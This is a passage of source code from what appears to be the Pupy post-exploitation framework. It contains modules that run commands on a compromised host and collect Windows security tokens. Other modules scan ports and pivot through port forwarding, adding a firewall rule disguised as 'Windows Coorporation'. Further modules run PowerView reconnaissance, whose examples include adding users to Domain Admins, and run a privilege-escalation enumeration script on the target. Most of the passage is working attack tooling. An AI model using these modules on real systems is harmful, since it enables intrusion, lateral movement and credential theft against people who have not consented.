    terminated = False
    encoding = None
    errors = None

    dependencies = ["pupyutils.safepopen"]
    io = REQUIRE_STREAM

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='pexec', description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-n',
            action='store_true',
            help='Don\'t catch stderr',
        )
        cls.arg_parser.add_argument(
            '-N',
            action='store_true',
            help='Start detached',
        )
        encodings = cls.arg_parser.add_mutually_exclusive_group()
        encodings.add_argument(
            '-E',
            action='store_true',
            help='Disable auto decoding',
        )
        encodings.add_argument(
            '-e', help='Use encoding to decode stream',
        )
        cls.arg_parser.add_argument(
            '-s',
            action='store_true',
            help='Start in shell',
        )
        cls.arg_parser.add_argument(
            '-S', '--set-uid',
            help='Set UID (Posix only)',
        )
        cls.arg_parser.add_argument(
            'arguments',
            nargs=REMAINDER,
            help='CMD args'
        )

    def run(self, args):
        if not args.arguments:
            self.error('No command specified {}'.format(args.__dict__))
            return

        if args.E or not self.client.is_windows():
            self.encoding = False
        elif args.e:
            self.encoding = args.e

        cmdargs = args.arguments
        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec', False)
        cmdenv = {
            'stderr': (None if args.n else subprocess.STDOUT),
            'universal_newlines': False,
            'detached': args.N
        }

        if len(cmdargs) == 1 and ' ' in cmdargs[0]:
            cmdenv.update({
                'shell': True
            })
            cmdargs = cmdargs[0]
        else:
            cmdenv.update({
                'shell': False
            })
            if args.s:
                cmdargs = [
                    'cmd.exe', '/c',
                ] + cmdargs if self.client.is_windows() else [
                    '/bin/sh', '-c', ' '.join(
                        '"'+x.replace('"', '\"')+'"' for x in cmdargs
                    )
                ]

        if args.set_uid:
            cmdenv['suid'] = args.set_uid

        close_event = threading.Event()

        def on_read(data):
            if self.encoding is None:
                try:
                    if not self.encoding:
                        encoding = chardet.detect(data)
                        if encoding['confidence'] > 0.7 and \
                          encoding['encoding'] != 'ascii':
                            self.encoding = encoding['encoding']
                except Exception as e:
                    self.errors = e

            if self.encoding:
                try:
                    data = data.decode(
                        self.encoding
                    ).encode('utf-8')
                except UnicodeError as e:
                    self.errors = e


            self.stdout.write(data)

        if type(cmdargs) == list:
            cmdargs = tuple(cmdargs)

        kwargs = tuple((k,v) for k,v in cmdenv.items())

        self.terminate_pipe, get_returncode = safe_exec(
            on_read, close_event.set, cmdargs, kwargs
        )

        if hasattr(self.job, 'id'):
            self.success('Started at {}'.format(
                datetime.datetime.now()))

        close_event.wait()

        retcode = get_returncode()
        if retcode == 0:
            self.success('Completed at {}'.format(datetime.datetime.now()))
        elif retcode is not None:
            self.error(
                'Ret: {} at {}'.format(retcode, datetime.datetime.now()))

    def interrupt(self):
        if not self.terminated and self.terminate_pipe:
            self.terminated = True
            self.error('Stopping command')
            self.terminate_pipe()
            self.error('Stopped')


================================================
FILE: pupy/modules/pipecatcher.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import List

CATCHER_EVENT = 0x11000003

__class_name__ = 'PipeCatcher'
__events__ = {
    CATCHER_EVENT: 'pipecatcher'
}


@config(compat="windows", category='exploit')
class PipeCatcher(PupyModule):
    'Collect security tokens from pipe server (\\\\.\\pipe\\catcher)'

    unique_instance = True

    dependencies = {
        'windows': ['pipecatcher']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='pipecatcher', description=cls.__doc__)

        cls.arg_parser.add_argument(
            'action', choices=['start', 'stop', 'dump']
        )

    def run(self, args):
        if args.action == 'start':
            catcher_start = self.client.remote(
                'pipecatcher', 'catcher_start', False)
            if catcher_start(CATCHER_EVENT):
                self.success('PipeCatcher started')
            else:
                self.error('PipeCatcher already started')

        elif args.action == 'dump':
            catcher_dump = self.client.remote('pipecatcher', 'catcher_dump')
            data = catcher_dump()
            if data is None:
                self.error('PipeCatcher is not running')
            elif not data:
                self.warning('No data')
            else:
                data = [
                    '{} ({})'.format(name, sid) if name != sid
                    else sid for (name, sid) in data
                ]
                self.log(List(data))

        elif args.action == 'stop':
            catcher_stop = self.client.remote(
                'pipecatcher', 'catcher_stop', False)
            catcher_stop()
            self.success('PipeCatcher stopped')

    def stop_daemon(self):
        self.success('PipeCatcher stopped')


================================================
FILE: pupy/modules/port_scan.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import threading

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table

from netaddr import IPAddress
from netaddr.core import AddrFormatError

__class_name__="PortScan"

@config(cat="network")
class PortScan(PupyModule):
    """ run a TCP port scan """

    abort = None

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="port_scan", description=cls.__doc__)
        cls.arg_parser.add_argument('--ports','-p', default="21,22,23,80,139,443,445,1433,1521,3389,7001,8000,8080",  help='ports to scan ex: 22,80,443')
        cls.arg_parser.add_argument('--timeout', default=10, type=int,
                                    help='timeout (default: %(default)s)')
        cls.arg_parser.add_argument('--portion', default=32, type=int,
                                    help='number of ports scanned per timeout (default: %(default)s)')
        cls.arg_parser.add_argument('target', metavar="ip/range", help='IP/range')

    def run(self, args):
        self.terminated = threading.Event()

        scanthread = self.client.remote('network.lib.scan', 'scanthread_parse', False)

        connectable = []

        def set_connectable(addrs):
            connectable.extend(addrs)
            self.terminated.set()

        def on_exception(exception):
            self.error('Internal Error: {}'.format(exception))
            self.terminated.set()

        self.abort = scanthread(
            args.target, args.ports, set_connectable,
            on_exception=on_exception,
            timeout=args.timeout, portion=args.portion
        )

        self.terminated.wait()

        if connectable:
            objects = {}
            for host, port in connectable:
                try:
                    host = IPAddress(host)
                except AddrFormatError:
                    pass

                port = int(port)

                if host in objects:
                    objects[host].add(port)
                else:
                    objects[host] = set([port])

            self.log(Table(
                list({
                    'IP': str(host),
                    'PORTS': ', '.join([str(port) for port in sorted(list(objects[host]))])
                } for host in sorted(objects)),
                ['IP', 'PORTS']))
        else:
            self.error('No connectable ports found')

        self.abort = None

    def interrupt(self):
        if self.abort:
            self.abort.set()

        if self.terminated:
            self.terminated.set()


================================================
FILE: pupy/modules/portfwd.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    QA_UNSTABLE
)

import sys
import threading
import socket
import logging
import traceback
import time
import subprocess

if sys.version_info.major > 2:
    from socketserver import (
        BaseRequestHandler, TCPServer,
        ThreadingMixIn
    )
else:
    from SocketServer import (
        BaseRequestHandler, TCPServer,
        ThreadingMixIn
    )

__class_name__ = 'PortFwdModule'


class SocketPiper(threading.Thread):
    def __init__(self, read_sock, write_sock):
        threading.Thread.__init__(self)
        self.daemon=True
        self.read_sock=read_sock
        self.write_sock=write_sock

    def run(self):
        try:
            self.read_sock.setblocking(0)
            while True:
                data=""
                try:
                    data+=self.read_sock.recv(1000000)
                    if not data:
                        break
                except Exception as e:
                    if e[0]==9:#errno connection closed
                        break
                    if not data:
                        time.sleep(0.05)
                    continue
                self.write_sock.sendall(data)
        except Exception as e:
            logging.debug("error in socket piper: %s"%str(traceback.format_exc()))
        finally:
            try:
                self.write_sock.shutdown(socket.SHUT_RDWR)
                self.write_sock.close()
            except Exception:
                pass
            try:
                self.read_sock.shutdown(socket.SHUT_RDWR)
                self.read_sock.close()
            except Exception:
                pass
        logging.debug("piper finished")

class LocalPortFwdRequestHandler(BaseRequestHandler):
    def handle(self):
        DST_ADDR, DST_PORT=self.server.remote_address
        logging.debug("forwarding local addr %s to remote %s "%(self.server.server_address, self.server.remote_address))
        rsocket_mod=self.server.rpyc_client.conn.modules.socket
        rsocket=rsocket_mod.socket(rsocket_mod.AF_INET, rsocket_mod.SOCK_STREAM)
        rsocket.settimeout(5)
        try:
            rsocket.connect((DST_ADDR, DST_PORT))
        except Exception as e:
            logging.debug("error: %s"%e)
            if e[0]==10060:
                logging.debug("unreachable !")
            self.request.shutdown(socket.SHUT_RDWR)
            self.request.close()
            return
        logging.debug("connection succeeded !")
        sp1=SocketPiper(self.request, rsocket)
        sp2=SocketPiper(rsocket, self.request)
        sp1.start()
        sp2.start()
        sp1.join()
        sp2.join()
        logging.debug("conn to %s:%s closed"%(DST_ADDR,DST_PORT))


class LocalPortFwdServer(TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None, remote_address=None):
        self.rpyc_client=rpyc_client
        self.remote_address=remote_address
        TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)


class ThreadedLocalPortFwdServer(ThreadingMixIn, LocalPortFwdServer):
    def __str__(self):
        return "<LocalPortForward local=%s remote=%s"%(self.server_address,self.remote_address)


def get_remote_port_fwd_cb(remote_addr, local_addr):
    def func(rsocket):
        logging.debug("forwarding remote addr %s to local %s "%(remote_addr, local_addr))
        lsocket=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        lsocket.settimeout(5)
        try:
            lsocket.connect(local_addr)
        except Exception as e:
            logging.debug("error: %s"%e)
            if e[0]==10060:
                logging.debug("unreachable !")
            rsocket.shutdown(socket.SHUT_RDWR)
            rsocket.close()
            return
        logging.debug("connection succeeded !")
        sp1=SocketPiper(lsocket, rsocket)
        sp2=SocketPiper(rsocket, lsocket)
        sp1.start()
        sp2.start()
        sp1.join()
        sp2.join()
        logging.debug("conn to %s from %s closed"%(local_addr, remote_addr))

    return func

@config(cat="network", tags=["pivot","forward"])
class PortFwdModule(PupyModule):
    """ perform local/remote port forwarding using openssh -L/-R syntax """
    max_clients=1
    unique_instance=True
    daemon=True
    qa = QA_UNSTABLE

    def __init__(self, *args, **kwargs):
        PupyModule.__init__(self, *args, **kwargs)
        self.portfwd_dic={}
        self.current_id=1

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='portfwd', description=cls.__doc__)
        cls.arg_parser.add_argument('-L', '--local', help="Local port forward")
        cls.arg_parser.add_argument('-R', '--remote', help="Remote port forward")
        cls.arg_parser.add_argument('-F', '--force', action='store_true', help="Try to open a port without admin rights (it will prompt a pop up to the end user)")
        cls.arg_parser.add_argument('-k', '--kill', type=int, metavar="<id>", help="stop a port forward")

    def stop_daemon(self):
        #TODO
        pass

    def run(self, args):
        if args.local:
            tab=args.local.split(':')
            local_addr="127.0.0.1"
            local_port=None
            remote_addr=None
            remote_port=None

            if len(tab)==3:
                local_port, remote_addr, remote_port = tab
            elif len(tab)==4:
                local_addr, local_port, remote_addr, remote_port = tab
            else:
                self.error("usage: -L [<LOCAL_ADDR>]:<LOCAL_PORT>:<REMOTE_ADDR>:<REMOTE_PORT>")
                return
            try:
                local_port=int(local_port)
                remote_port=int(remote_port)
            except Exception:
                self.error("ports must be integers")
                return
            server = ThreadedLocalPortFwdServer((local_addr, local_port), LocalPortFwdRequestHandler, rpyc_client=self.client, remote_address=(remote_addr, remote_port))
            self.portfwd_dic[self.current_id]=server
            self.current_id+=1
            t=threading.Thread(target=server.serve_forever)
            t.daemon=True
            t.start()
            self.success("LOCAL %s:%s forwarded to REMOTE %s:%s"%(local_addr, local_port, remote_addr, remote_port))
        elif args.remote:
            tab=args.remote.split(':')
            remote_addr="127.0.0.1"
            remote_port=None
            local_addr=None
            local_port=None

            if len(tab)==3:
                remote_port, local_addr, local_port = tab
            elif len(tab)==4:
                remote_addr, remote_port, local_addr, local_port = tab
            else:
                self.error("usage: -R [<REMOTE_ADDR>]:<REMOTE_PORT>:<LOCAL_ADDR>:<LOCAL_PORT>")
                return
            try:
                local_port=int(local_port)
                remote_port=int(remote_port)
            except Exception:
                self.error("ports must be integers")
                return

            if "Windows" in self.client.desc["platform"]:
                self.client.load_package("pupwinutils.processes")
                if self.client.conn.modules['pupwinutils.processes'].isUserAdmin():
                    # create new firewall rule
                    cmd = 'netsh advfirewall firewall add rule name="Windows Coorporation" dir=in action=allow protocol=TCP localport=%s' % str(remote_port)
                    output = self.client.conn.modules.subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
                    if 'ok' in output.lower():
                        self.success("Firewall rule created successfully")
                else:
                    if not args.force:
                        self.error("Firewall modification needs admin rights. Try using -F to force to open a port (it will prompt a pop up to the end user)")
                        return

            self.client.load_package("pupyutils.portfwd")
            remote_server = self.client.conn.modules["pupyutils.portfwd"].ThreadedRemotePortFwdServer((remote_addr, remote_port), callback=get_remote_port_fwd_cb((remote_addr, remote_port),(local_addr, local_port)))
            self.portfwd_dic[self.current_id]=remote_server
            self.current_id+=1
            remote_server.start_serve()
            self.success("REMOTE %s:%s forwarded to LOCAL %s:%s"%(remote_addr, remote_port, local_addr, local_port))

        elif args.kill:
            if args.kill in self.portfwd_dic:

                if "Windows" in self.client.desc["platform"]:
                    try:
                        # maybe there is a cleaner way to get the port
                        tmp = str(self.portfwd_dic[args.kill]).split()
                        port = int(tmp[len(tmp)-1].replace(')', '').replace('>', ''))
                        cmd = 'netsh advfirewall firewall delete rule name="Windows Coorporation" protocol=tcp localport=%s' % str(port)
                        output = self.client.conn.modules.subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
                        if 'ok' in output.lower():
                            self.success("Firewall rule deleted successfully")
                    except:
                        self.error("Cannot remove the firewall rule")

                desc=str(self.portfwd_dic[args.kill])
                self.portfwd_dic[args.kill].shutdown()
                self.portfwd_dic[args.kill].server_close()
                del self.portfwd_dic[args.kill]
                self.success("%s stopped !"%desc)
            else:
                self.error("no such id: %s"%args.kill)

        else:
            if not self.portfwd_dic:
                self.error("There are currently no ports forwarded on %s"%self.client)
            else:
                for cid, server in self.portfwd_dic.items():
                    self.success("%s : %s"%(cid, server))


================================================
FILE: pupy/modules/powerview.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib import ROOT

__class_name__="Powerview"

@config(compat="windows", category="gather")
class Powerview(PupyModule):
    """
        execute powerview commands
    """
    dependencies = {
        'windows': ['powershell']
    }


    @classmethod
    def init_argparse(cls):

        cls.commands_available = '''
Commandes available:\n
Set-MacAttribute -FilePath c:\\test\\newfile -OldFilePath c:\\test\\oldfile
Set-MacAttribute -FilePath c:\\demo\\test.xt -All "01/03/2006 12:12 pm"
Set-MacAttribute -FilePath c:\\demo\\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm"
Copy-ClonedFile -SourceFile program.exe -DestFile \\\\WINDOWS7\\tools\\program.exe
Get-IPAddress -ComputerName SERVER
Convert-NameToSid 'DEV\\dfm'
Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105
Convert-NT4toCanonical -ObjectName "dev\\dfm"
ConvertFrom-UACValue -Value 66176
Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue
Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll
Get-Proxy
Get-DomainSearcher -Domain testlab.local
Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local
Get-NetDomain -Domain testlab.local
Get-NetForest -Forest external.domain
Get-NetForestDomain
Get-NetForestDomain -Forest external.local
Get-NetForestCatalog
Get-NetDomainController -Domain test
Get-NetUser -Domain testing
Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"
Add-NetUser -UserName john -Password 'Password123!'
Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local
Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''
Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'
Add-NetGroupUser -UserName john -GroupName Administrators
Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local
Get-UserProperty -Domain testing
Get-UserProperty -Properties ssn,lastlogon,location
Find-UserField -SearchField info -SearchTerm backup
Get-UserEvent -ComputerName DomainController.testlab.local
Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv
Get-NetComputer
Get-NetComputer -SPN mssql*
Get-NetComputer -Domain testing
Get-NetComputer -Domain testing -FullData
Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536
Get-ComputerProperty -Domain testing
Get-ComputerProperty -Properties ssn,lastlogon,location
Find-ComputerField -SearchTerm backup -SearchField info
Get-NetOU
Get-NetOU -OUName *admin* -Domain testlab.local
Get-NetOU -GUID 123-...
Get-NetSite -Domain testlab.local -FullData
Get-NetSubnet
Get-NetSubnet -Domain testlab.local -FullData
Get-NetGroup
Get-NetGroup -GroupName *admin*
Get-NetGroup -Domain testing -FullData
Get-NetGroupMember
Get-NetGroupMember -Domain testing -GroupName "Power Users"
Get-NetFileServer
Get-NetFileServer -Domain testing
Get-DFSshare
Get-DFSshare -Domain test
Get-GptTmpl -GptTmplPath "\\\\dev.testlab.local\\sysvol\\dev.testlab.local\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf"
Get-NetGPO -Domain testlab.local
Get-NetGPOGroup
Find-GPOLocation -UserName dfm
Find-GPOLocation -UserName dfm -Domain dev.testlab.local
Find-GPOLocation -UserName jason -LocalGroup RDP
Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local
Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP
Get-NetGPO
Get-NetLocalGroup
Get-NetLocalGroup -ComputerName WINDOWSXP
Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse
Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups
Get-NetShare
Get-NetShare -ComputerName sqlserver
Get-NetLoggedon
Get-NetLoggedon -ComputerName sqlserver
Get-NetSession
Get-NetSession -ComputerName sqlserver
Get-NetRDPSession
Get-NetRDPSession -ComputerName "sqlserver"
Invoke-CheckLocalAdminAccess -ComputerName sqlserver
Get-LastLoggedOn
Get-LastLoggedOn -ComputerName WINDOWS1
Get-CachedRDPConnection
Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local
Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\\user -RemotePassword Password123!
Get-NetProcess -ComputerName WINDOWS1
Find-InterestingFile -Path C:\\Backup\\
Find-InterestingFile -Path \\\\WINDOWS7\\Users\\ -Terms salaries,email -OutFile out.csv
Find-InterestingFile -Path \\\\WINDOWS7\\Users\\ -LastAccessTime (Get-Date).AddDays(-7)
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -Domain 'testing'
Invoke-UserHunter -Threads 20
Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt
Invoke-UserHunter -GroupName "Power Users" -Delay 60
Invoke-UserHunter -TargetServer FILESERVER
Invoke-UserHunter -SearchForest
Invoke-UserHunter -Stealth
Invoke-ProcessHunter -Domain 'testing'
Invoke-ProcessHunter -Threads 20
Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt
Invoke-ProcessHunter -GroupName "Power Users" -Delay 60
Invoke-EventHunter
Invoke-ShareFinder -ExcludeStandard
Invoke-ShareFinder -Threads 20
Invoke-ShareFinder -Delay 60
Invoke-ShareFinder -ComputerFile hosts.txt
Invoke-FileFinder
Invoke-FileFinder -Domain testing
Invoke-FileFinder -IncludeC
Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv
Find-LocalAdminAccess
Find-LocalAdminAccess -Threads 10
Find-LocalAdminAccess -Domain testing
Find-LocalAdminAccess -ComputerFile hosts.txt
Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\\user | Format-Table -AutoSize
Get-ExploitableSystem | Export-Csv c:\\temp\\output.csv -NoTypeInformation
Get-ExploitableSystem -Domain testlab.local -Ping
Invoke-EnumerateLocalAdmin
Invoke-EnumerateLocalAdmin -Threads 10
Get-NetDomainTrust
Get-NetDomainTrust -Domain "prod.testlab.local"
Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"
Get-NetForestTrust
Get-NetForestTrust -Forest "test"
Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
'''
        cls.arg_parser = PupyArgumentParser(prog="Powerview", description=cls.__doc__)
        cls.arg_parser.add_argument("-o", metavar='COMMAND', dest='command')
        cls.arg_parser.add_argument("-1", '--once', action='store_true', help='Unload after execution')
        cls.arg_parser.add_argument("-l", "--list-available-commands", action='store_true', help="list all available commands")

        cls.arg_parser.add_argument("--Get-Proxy", dest='GetProxy', action='store_true', help='Returns proxy configuration')
        cls.arg_parser.add_argument("--Get-NetComputer", dest='GetNetComputer', action='store_true', help='Returns the current computers in current domain')
        cls.arg_parser.add_argument("--Get-NetMssql", dest='GetNetMssql', action='store_true', help="Returns all MS SQL servers on the domain")
        cls.arg_parser.add_argument("--Get-NetSubnet", dest='GetNetSubnet', action='store_true', help="Returns all subnet names in the current domain")
        cls.arg_parser.add_argument("--Get-NetGroup", dest='GetNetGroup', action='store_true', help="Returns the current groups in the domain")
        cls.arg_parser.add_argument("--Get-NetGroup-with", dest='GetNetGroupWith', help="Returns all groups with '*GROUPNAME*' in their group name")
        cls.arg_parser.add_argument("--Get-NetGroupMember", dest='GetNetGroupMember', action='store_true', help="Returns the usernames that of members of the 'Domain Admins' domain group")
        cls.arg_parser.add_argument("--Get-NetFileServer", dest='GetNetFileServer', action='store_true', help="Returns active file servers")
        cls.arg_parser.add_argument("--Get-DFSshare", dest='GetDFSshare', action='store_true', help="Returns all distributed file system shares for the current domain")
        cls.arg_parser.add_argument("--Get-NetGPO", dest='GetNetGPO', action='store_true', help="Returns the GPOs in domain")
        cls.arg_parser.add_argument("--Get-NetGPOGroup", dest='GetNetGPOGroup', action='store_true', help="Returns all GPOs that set local groups on the current domain")
        cls.arg_parser.add_argument("--Find-GPOLocation", dest='FindGPOLocation', help="Find all computers that this user has local administrator rights to in the current domain")
        cls.arg_parser.add_argument("--Get-NetLocalGroup", dest='GetNetLocalGroup', action='store_true', help="Returns the usernames that of members of localgroup 'Administrators' on the local host")
        cls.arg_parser.add_argument("--Get-NetLoggedon", dest='GetNetLoggedon', action='store_true', help="Returns users actively logged onto the local host")
        cls.arg_parser.add_argument("--Get-NetLoggedon-on", dest='GetNetLoggedonOn', help="Returns users actively logged onto this remote host")
        cls.arg_parser.add_argument("--Get-NetSession", dest='GetNetSession', action='store_true', help="Returns active sessions on the local host")
        cls.arg_parser.add_argument("--Get-NetSession-on", dest='GetNetSessionOn', help="Returns active sessions on this remote host")
        cls.arg_parser.add_argument("--Get-NetRDPSession", dest='GetNetRDPSession', action='store_true', help="Returns active RDP/terminal sessions on the local host")
        cls.arg_parser.add_argument("--Get-NetRDPSession-on", dest='GetNetRDPSessionOn', help="Returns active RDP/terminal sessions on this remote host")
        cls.arg_parser.add_argument("--Get-LastLoggedOn", dest='GetLastLoggedOn', action='store_true', help="Returns the last user logged onto the local machine")
        cls.arg_parser.add_argument("--Get-LastLoggedOn-on", dest='GetLastLoggedOnOn', help="Returns the last user logged onto this remote machine")
        cls.arg_parser.add_argument("--Invoke-UserHunter-check", dest='InvokeUserHunterCheck', action='store_true', help="Finds machines on the local domain where domain admins are logged into and checks if the current user has local administrator access")
        cls.arg_parser.add_argument("--Invoke-UserHunter-forest", dest='InvokeUserHunterForest', action='store_true', help="Find all machines in the current forest where domain admins are logged in")
        cls.arg_parser.add_argument("--Get-ExploitableSystem", dest='GetExploitableSystem', action='store_true', help="Query Active Directory for the hostname, OS version, and service pack level for each computer account (cross-referenced against a list of common Metasploit exploits)")

    def run(self, args):
        script = 'powerview'
        command = ""
        if args.list_available_commands:
            self.log(self.commands_available)
            return

        powershell = self.client.conn.modules['powershell']

        if not powershell.loaded(script):
            with open(os.path.join(ROOT, 'external', 'PowerSploit', 'Recon', 'PowerView.ps1'), 'r') as content:
                width, _ = self.iogroup.consize
                powershell.load(script, content.read(), width=width)

        if args.GetProxy:
            command = "Get-Proxy"
        if args.GetNetComputer:
            command = "Get-NetComputer"
        elif args.GetNetMssql:
            command = "Get-NetComputer -SPN mssql*"
        elif args.GetNetSubnet:
            command = "Get-NetSubnet"
        elif args.GetNetGroup:
            command = "Get-NetGroup"
        elif args.GetNetGroupWith is not None:
            command = "Get-NetGroup -GroupName *{0}* -FullData".format(args.GetNetGroupWith)
        elif args.GetNetGroupMember:
            command = "Get-NetGroupMember"
        elif args.GetNetFileServer:
            command = "Get-NetFileServer"
        elif args.GetDFSshare:
            command = "Get-DFSshare"
        elif args.GetNetGPO:
            command = "Get-NetGPO"
        elif args.GetNetGPOGroup:
            command = "Get-NetGPOGroup"
        elif args.FindGPOLocation is not None:
            command = "Find-GPOLocation -UserName {0}".format(args.FindGPOLocation)
        elif args.GetNetLocalGroup:
            command = "Get-NetLocalGroup"
        elif args.GetNetLoggedon:
            command = "Get-NetLoggedon"
        elif args.GetNetLoggedonOn is not None:
            command = "Get-NetLoggedon -ComputerName {0}".format(args.GetNetLoggedonOn)
        elif args.GetNetSession:
            command = "Get-NetSession"
        elif args.GetNetSessionOn is not None:
            command = "Get-NetSession -ComputerName {0}".format(args.GetNetSessionOn)
        elif args.GetNetRDPSession:
            command = "Get-NetRDPSession"
        elif args.GetNetRDPSessionOn is not None:
            command = "Get-NetRDPSession -ComputerName {0}".format(args.GetNetRDPSessionOn)
        elif args.GetLastLoggedOn:
            command = "Get-LastLoggedOn"
        elif args.GetLastLoggedOnOn is not None:
            command = "Get-LastLoggedOn -ComputerName {0}".format(args.GetLastLoggedOnOn)
        elif args.InvokeUserHunterCheck:
            command = "Invoke-UserHunter -CheckAccess"
        elif args.InvokeUserHunterForest:
            command = "Invoke-UserHunter -SearchForest"
        elif args.GetExploitableSystem:
            command = "Get-ExploitableSystem  | Format-Table -AutoSize"
        if command == "":
            if args.command is None:
                self.error("You have to choose a powerview command!")
                return
            else:
                command = args.command

        self.log("Executing the following powerview command: {}".format(command))
        output, rest = powershell.call(script, command)
        if args.once:
            powershell.unload(script)

        if not output and not rest:
            self.error("No results")
            return
        else:
            if rest:
                self.error(rest)
            if output:
                self.log(output)


================================================
FILE: pupy/modules/privesc_checker.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import os
import subprocess

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib import ROOT

__class_name__="PrivEsc_Checker"

@config(compat="linux", category="privesc")
class PrivEsc_Checker(PupyModule):
    """ Linux Privilege Escalation Scripts """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="PrivEsc_Checker", description=cls.__doc__)
        cls.arg_parser.add_argument("--linenum", dest='linenum', action='store_true', help="Run Linenum sh script (https://github.com/rebootuser/LinEnum)")
        cls.arg_parser.add_argument("--thorough-tests", dest='thoroughtests', action='store_true', help="Run script with all options (can take time)")
        cls.arg_parser.add_argument("--output-file", dest='outputfile', default=None, help="Store results in this file")
        cls.arg_parser.add_argument("--shell", dest='shell', default="/bin/bash", help="Shell to use when it is a .sh script")

    def run(self, args):
        if args.linenum:
            self.success("Running Lineum sh script on the target with the {0} shell on the target...".format(args.shell))
            if not self.client.conn.modules.os.path.isfile(args.shell):
                self.error("{0} does not exist on the target's system!".format(args.shell))
                self.error("You have to choose a valid shell")
                return -1
            code = open(os.path.join(ROOT, "external", "linenum", "linenum.sh"), 'r').read()
            #output = self.client.conn.modules.subprocess.check_output(code, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
            if args.thoroughtests:
                self.success("Thorough tests enabled! Can take time...")
                code = "thorough=1;\n"+code
            self.success("Lineum script started...")
            p = self.client.conn.modules.subprocess.Popen(code, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, executable=args.shell)
            output, err = p.communicate()
            self.success("Lineum script finished")
            if args.outputfile is not None:
                self.writeInFile(args.outputfile, output)
                self.success("You can use the following command on Linux for reading this file: less -r {0}".format(args.outputfile))
            else:
                self.success("Results of the Lineum script:")
                print(output)
        else:
            self.error("You have to choose a script")
            return -1

    def writeInFile(self,filename, data):
        '''
        '''
        self.success("Results are written in the file {0}".format(filename))
        f = open(filename, 'w')
        f.write(data)
        f.close()


================================================
FILE: pupy/modules/process_kill.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="KillModule"

@config(cat="general")
class KillModule(PupyModule):
    """ kill a process """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="kill", description=cls.__doc__)
        cls.arg_parser.add_argument('-s', '--signal', type=int, default=9, help='signal code (non windows)')
